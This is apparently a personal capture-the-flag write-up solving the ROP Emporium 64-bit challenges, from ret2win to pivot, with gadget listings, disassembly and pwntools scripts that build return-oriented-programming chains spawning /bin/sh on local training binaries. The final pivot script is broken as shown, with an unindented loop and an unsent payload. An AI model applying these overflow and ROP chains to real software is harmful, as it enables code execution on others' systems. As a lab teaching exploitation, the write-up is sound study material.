All about ROP

If you do not know what is ROP, google Return Oriented Programming. And the link of the ROP challenge

64 bytes challengeh are considered generally more difficult than 32 bits. So I don’t do 32 bits challenges.


Quite easy, so I do not write scrip. The stack has no protection except N^X. And ret2win function will cat flag for us. Just write garbage information to fill the stack and adjust $RIP to the address of ret2win function, which is 0x400811.


Still easy, the binary includes function system. But how can we get string like /bin/sh to pass it to system() function? Let’s use radare2 to check if the ELF contains useful strings:

$ rabin2 -z split32
000 0x000008a8 0x004008a8  21  22 (.rodata) ascii split by ROP Emporium
001 0x000008be 0x004008be   7   8 (.rodata) ascii 64bits\n
002 0x000008c6 0x004008c6   8   9 (.rodata) ascii \nExiting
003 0x000008d0 0x004008d0  43  44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x000008ff 0x004008ff   7   8 (.rodata) ascii /bin/ls
000 0x00001060 0x00601060  17  18 (.data) ascii /bin/cat flag.txt

Also check address:

$ gdb split
pwndbg> x system
0x4005e0 <system@plt>:	0x0a3a25ff

It’s defintely easy now: $ pythons -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split


The challenge is special, it requires us to call callme_one(), callme_two() and callme_three() in sequence with argument (1, 2, 3). It’s slightly more difficult than previous two. We can finally use ROPgadget:

$ ROPgadget  --binary challenge  
Gadgets information
...  // Long and unneeded output
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000401b23 : pop rdi ; ret
0x0000000000401ab2 : pop rdx ; ret
0x0000000000401b21 : pop rsi ; pop r15 ; ret
0x0000000000401ab1 : pop rsi ; pop rdx ; ret
0x0000000000401b1d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040198a : push rbp ; mov rbp, rsp ; call rax
0x00000000004017d9 : ret
0x0000000000401987 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x0000000000401b35 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000401b34 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004018fa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x0000000000401b2a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000401986 : test eax, eax ; je 0x401983 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000401985 : test rax, rax ; je 0x401984 ; push rbp ; mov rbp, rsp ; call rax

Unique gadgets found: 68

First, we need to controll rdi, rsi, rdx to pass argument. Luckily, these three can help us:

0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret

Let’s check the address of functions:

   4 0x00401810  GLOBAL    FUNC callme_three
   8 0x00401850  GLOBAL    FUNC callme_one
  11 0x00401870  GLOBAL    FUNC callme_two

Then, we need to find how function compares number:

0x00007ffff7bd68f8 <+8>:	mov    DWORD PTR [rbp-0x14],edi
0x00007ffff7bd68fb <+11>:	mov    DWORD PTR [rbp-0x18],esi
0x00007ffff7bd68fe <+14>:	mov    DWORD PTR [rbp-0x1c],edx
0x00007ffff7bd6901 <+17>:	cmp    DWORD PTR [rbp-0x14],0x1
0x00007ffff7bd6905 <+21>:	jne    0x7ffff7bd69bb <callme_one+203>
0x00007ffff7bd690b <+27>:	cmp    DWORD PTR [rbp-0x18],0x2
0x00007ffff7bd690f <+31>:	jne    0x7ffff7bd69bb <callme_one+203>
0x00007ffff7bd6915 <+37>:	cmp    DWORD PTR [rbp-0x1c],0x3

The answer is clear now, we need to pass 1 to rdi, 2 to rsi, 3 to rdx. And then jump to each function’s plt table. Script:

from pwn import *

number = p64(1) + p64(2) + p64(3)
rop = p64(0x401ab0)
offset = 40
shellcode = ""
shellcode += rop + number + p64(0x00401850)
shellcode += rop + number + p64(0x00401870)
shellcode += rop + number + p64(0x00401810)
bin = process('callme')
bin.sendline(offset*'A' + shellcode)
print bin.recvall()


It has a usefulFunction which calls system("ls") for us. But it’s not quite useful:

0x0000000000400807 <+0>:	push   rbp
0x0000000000400808 <+1>:	mov    rbp,rsp
0x000000000040080b <+4>:	mov    edi,0x40090c
0x0000000000400810 <+9>:	call   0x4005e0 <system@plt>
0x0000000000400815 <+14>:	nop
0x0000000000400816 <+15>:	pop    rbp
0x0000000000400817 <+16>:	ret    

We need to pass string like cat flag of /bin/sh to the system function. Continue to run ROPGadget, we can find two interesting instructions:

0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x0000000000400893 : pop rdi ; ret

First, we used first two instruction to write /bin/sh to .data segement, which has writeable fixed address (0x601050).

Finally, we return the adress to rdi and directly go to 0x400810:

from pwn import *
dataSeg = p64(0x601050)
preRegister = p64(0x400890)
writeData = p64(0x400820)
writeRdi = p64(0x400893)
execute = p64(0x400810)
offset = 40

shellcode = ''
shellcode += preRegister + dataSeg + '/bin/sh\x00'
shellcode += writeData
shellcode += writeRdi + dataSeg
shellcode += execute

bin = process('write4')
bin.sendline(offset*'A' + shellcode)


The task is identical to the previous one, despite filtering several characters. Gadget:

0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
0x0000000000400b3b : pop r12 ; pop r13 ; ret
0x0000000000400b39 : pop rdi ; ret

Becuase several characters are banned, we need to ecrypt our payload to pass it to the stack. XOR is a common encrption method. Now, let’s see how to decrypt:

0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
0x0000000000400b40 : pop r14 ; pop r15 ; ret

Therefore, we can decrypt our string byte by byte.

The remaining things like return to system, finding .data address, and so on are identical to previous step, we can write script now:

from pwn import *
dataAdd = 0x601050
dataSeg = p64(dataAdd)
preRegister = p64(0x0000000000400b3b)
writeData = p64(0x0000000000400b34)
writeRdi = p64(0x0000000000400b39)
execute = p64(0x00000000004009e8)
offset = 40
decrypt = ""

badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
xornum = [0x1]*8
num = 0
sh = ""

for i in "/bin/sh\x00":
    c = ord(i) ^ xornum[num]
    while c in badchars:
        xornum[num] += 1
        c = ord(i) ^ xornum[num]
    sh += chr(c)
    num += 1

for i in range(0,8):
    decrypt += p64(0x0000000000400b40)
    decrypt += p64(xornum[i])
    decrypt += p64(dataAdd)
    decrypt += p64(0x0000000000400b30)
    dataAdd += 1

shellcode = ''
shellcode += preRegister + sh + dataSeg
shellcode += writeData
shellcode += decrypt
shellcode += writeRdi + dataSeg
shellcode += execute
print offset*'A' + shellcode
bin = process('badchars')
bin.sendline(offset*'A' + shellcode)


Now, we don’t have usefulFadget fnction. So we need to figure other ways.

Notify one line in pwnme, wew can controll rdi:

   0x00000000004007f3 <+62>:	lea    rax,[rbp-0x20]
   0x00000000004007f7 <+66>:	mov    esi,0x200
   0x00000000004007fc <+71>:	mov    rdi,rax
   0x00000000004007ff <+74>:	call   0x400620 <fgets@plt>
   0x0000000000400804 <+79>:	nop
   0x0000000000400805 <+80>:	leave  
   0x0000000000400806 <+81>:	ret    

After testing in gdb, I found that the offset of [rbp-0x20] is the palce after first char. So, we need to put a grabage character first. Then, write “bash\x00\x00\x00\x00”. At last, we filled the remaing 31 character length plus return address of call system:

from pwn import *

execute = p64(0x0000000000400810)
sh = "A" + "bash\x00\x00\x00\x00"
offset = 40
shellcode = execute
print offset*'A' + shellcode
bin = process('fluff')
bin.sendline(sh + (offset - len(sh))*'A' + shellcode)

I think this is an unexpected solution…


Final question. We only have uselessFunction now ORZ. But the program will leak address to us. Although ASLR is enabled, the relative address remains the same. Actually I found that we can use the method of previous question to solve…but that’s not fun. Let’s solve it in intented way.

The input has limitation now, which allows us to overflow the rip but not enough for a long shellcode (you can only input a 23 characters shellcode, 6 instructions). But we can move the rsp to heap, which has unlimited space:

0x0000000000400b00 : pop rax ; ret
0x0000000000400b02 : xchg rax, rsp ; ret

Then, we need to use the got and plt of foothold_function calculate the address of ret2win:

Dump of assembler code for function foothold_function@plt:
   0x0000000000400850 <+0>:	jmp    QWORD PTR [rip+0x2017f2]        # 0x602048
   0x0000000000400856 <+6>:	push   0x6
   0x000000000040085b <+11>: jmp    0x4007e0

So, the plt address is 0x0000000000400850, and the got.plt is 0x602048

In glt.plt, the result will be stored in rax. We need to find some ways to controll it:

0x0000000000400b00 : pop rax ; ret
0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
0x0000000000400900 : pop rbp ; ret
0x0000000000400b09 : add rax, rbp ; ret
0x000000000040098e : call rax

Finally, let’s calculate the difference of these two functions:

pwndbg> x ret2win
0xabe <ret2win>:	0xe5894855
pwndbg> x foothold_function
0x970 <foothold_function>:	0xe5894855
pwndbg> x 0xabe-0x970
0x14e:	Cannot access memory at address 0x14e

Final Script:

from pwn import *
offset = 40
ret2libOffset = 0x14e
shellcode = ''
bin = process('pivot')
for i in range(0,4):
leak = bin.recvline()
leak = int(leak.split("0x")[1], 16)
print str(hex(leak))
movRegToHeap = "A"*offset + p64(0x0000000000400b00) + p64(leak) + p64(0x0000000000400b02)

shellcode += p64(0x0000000000400850) # calculate plt
shellcode += p64(0x0000000000400b00) # Pop rax
shellcode += p64(0x602048)           # Pass got.plt to rax
shellcode += p64(0x0000000000400b05) # Mov *0x602048 inside to get address
shellcode += p64(0x0000000000400900) # Pop offset
shellcode += p64(ret2libOffset)      # Offset value
shellcode += p64(0x0000000000400b09) # Calculate ret2win address
shellcode += p64(0x000000000040098e) # Execute it!

print bin.recvall()